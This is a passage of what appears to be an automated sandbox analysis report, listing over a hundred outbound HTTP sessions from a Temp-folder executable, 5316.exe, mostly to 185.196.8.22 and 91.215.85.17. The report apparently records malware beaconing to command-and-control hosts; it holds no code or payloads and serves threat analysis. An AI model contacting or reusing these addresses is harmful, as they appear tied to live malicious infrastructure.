807	192.168.2.4	55166	187.134.52.10	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
808	192.168.2.4	55167	187.134.52.10	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
809	192.168.2.4	55168	187.134.52.10	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
810	192.168.2.4	55169	187.134.52.10	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
811	192.168.2.4	54782	199.34.228.152	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
812	192.168.2.4	54826	157.112.187.45	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
813	192.168.2.4	54819	95.173.180.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
814	192.168.2.4	56051	23.227.38.32	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
815	192.168.2.4	56196	151.101.1.195	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
816	192.168.2.4	56231	108.167.135.109	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
817	192.168.2.4	56237	205.178.189.131	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
818	192.168.2.4	56282	23.227.38.32	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
819	192.168.2.4	56281	205.178.189.129	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
820	192.168.2.4	56285	192.64.119.142	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
821	192.168.2.4	56340	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
822	192.168.2.4	56342	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
823	192.168.2.4	56344	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
824	192.168.2.4	56345	185.196.8.22	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
825	192.168.2.4	56346	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
826	192.168.2.4	56347	91.215.85.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
827	192.168.2.4	56348	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
828	192.168.2.4	56349	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
829	192.168.2.4	56350	91.215.85.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
830	192.168.2.4	56351	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
831	192.168.2.4	56352	91.215.85.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
832	192.168.2.4	56353	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
833	192.168.2.4	56354	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
834	192.168.2.4	56355	91.215.85.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
835	192.168.2.4	56356	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
836	192.168.2.4	56357	91.215.85.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
837	192.168.2.4	56358	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
838	192.168.2.4	56359	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
839	192.168.2.4	56360	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
840	192.168.2.4	56361	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
841	192.168.2.4	56362	91.215.85.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
842	192.168.2.4	56363	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
843	192.168.2.4	56364	91.215.85.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
844	192.168.2.4	56365	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
845	192.168.2.4	56366	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
846	192.168.2.4	56367	91.215.85.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
847	192.168.2.4	56368	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
848	192.168.2.4	56369	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
849	192.168.2.4	56370	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
850	192.168.2.4	56371	91.215.85.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
851	192.168.2.4	56373	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
852	192.168.2.4	56374	91.215.85.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
853	192.168.2.4	56375	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
854	192.168.2.4	56376	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
855	192.168.2.4	56377	91.215.85.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
856	192.168.2.4	56378	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
857	192.168.2.4	56379	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
858	192.168.2.4	56380	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
859	192.168.2.4	56381	91.215.85.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
860	192.168.2.4	56382	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
861	192.168.2.4	56383	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
862	192.168.2.4	56384	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
863	192.168.2.4	56385	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
864	192.168.2.4	56386	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
865	192.168.2.4	56387	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
866	192.168.2.4	56388	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
867	192.168.2.4	56389	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
868	192.168.2.4	56390	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
869	192.168.2.4	56391	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
870	192.168.2.4	56392	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
871	192.168.2.4	56393	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
872	192.168.2.4	56394	91.215.85.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
873	192.168.2.4	56395	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
874	192.168.2.4	56396	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
875	192.168.2.4	56397	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
876	192.168.2.4	56398	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
877	192.168.2.4	56399	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
878	192.168.2.4	56400	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
879	192.168.2.4	56401	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
880	192.168.2.4	56404	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
881	192.168.2.4	56405	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
882	192.168.2.4	56406	91.215.85.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
883	192.168.2.4	56407	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
884	192.168.2.4	56408	91.215.85.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
885	192.168.2.4	56409	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
886	192.168.2.4	56410	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
887	192.168.2.4	56411	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
888	192.168.2.4	56412	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
889	192.168.2.4	56413	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
890	192.168.2.4	56414	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
891	192.168.2.4	56415	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
892	192.168.2.4	56416	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
893	192.168.2.4	56417	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
894	192.168.2.4	56418	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
895	192.168.2.4	56419	91.215.85.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
896	192.168.2.4	56420	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
897	192.168.2.4	56421	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
898	192.168.2.4	56422	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
899	192.168.2.4	56423	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
900	192.168.2.4	56424	91.215.85.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
901	192.168.2.4	56425	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
902	192.168.2.4	56427	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
903	192.168.2.4	56428	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
904	192.168.2.4	56429	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
905	192.168.2.4	56430	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
906	192.168.2.4	56431	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
907	192.168.2.4	56432	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
908	192.168.2.4	56433	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
909	192.168.2.4	56434	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
910	192.168.2.4	56435	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
911	192.168.2.4	56436	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
912	192.168.2.4	56437	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
913	192.168.2.4	56439	91.215.85.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
914	192.168.2.4	56440	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
915	192.168.2.4	56441	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
916	192.168.2.4	56442	187.134.52.10	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
917	192.168.2.4	56443	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
918	192.168.2.4	56444	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
919	192.168.2.4	56445	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
920	192.168.2.4	56446	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
921	192.168.2.4	56447	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
922	192.168.2.4	56448	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
923	192.168.2.4	56449	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
924	192.168.2.4	56450	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
925	192.168.2.4	56451	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
926	192.168.2.4	56452	185.196.8.22	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
927	192.168.2.4	56453	91.215.85.17	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
928	192.168.2.4	56454	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
929	192.168.2.4	56455	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
930	192.168.2.4	56456	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
931	192.168.2.4	56457	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
932	192.168.2.4	56458	187.134.52.10	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
933	192.168.2.4	56459	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
934	192.168.2.4	56460	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
935	192.168.2.4	56461	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
936	192.168.2.4	56464	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
937	192.168.2.4	56465	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
938	192.168.2.4	56466	91.215.85.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
939	192.168.2.4	56468	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
940	192.168.2.4	56469	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
941	192.168.2.4	56470	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
942	192.168.2.4	56471	185.196.8.22	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
943	192.168.2.4	56472	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
944	192.168.2.4	56473	185.196.8.22	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
945	192.168.2.4	56474	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
946	192.168.2.4	56475	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
947	192.168.2.4	56476	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
948	192.168.2.4	56477	187.134.52.10	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
949	192.168.2.4	56478	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
950	192.168.2.4	56479	185.196.8.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
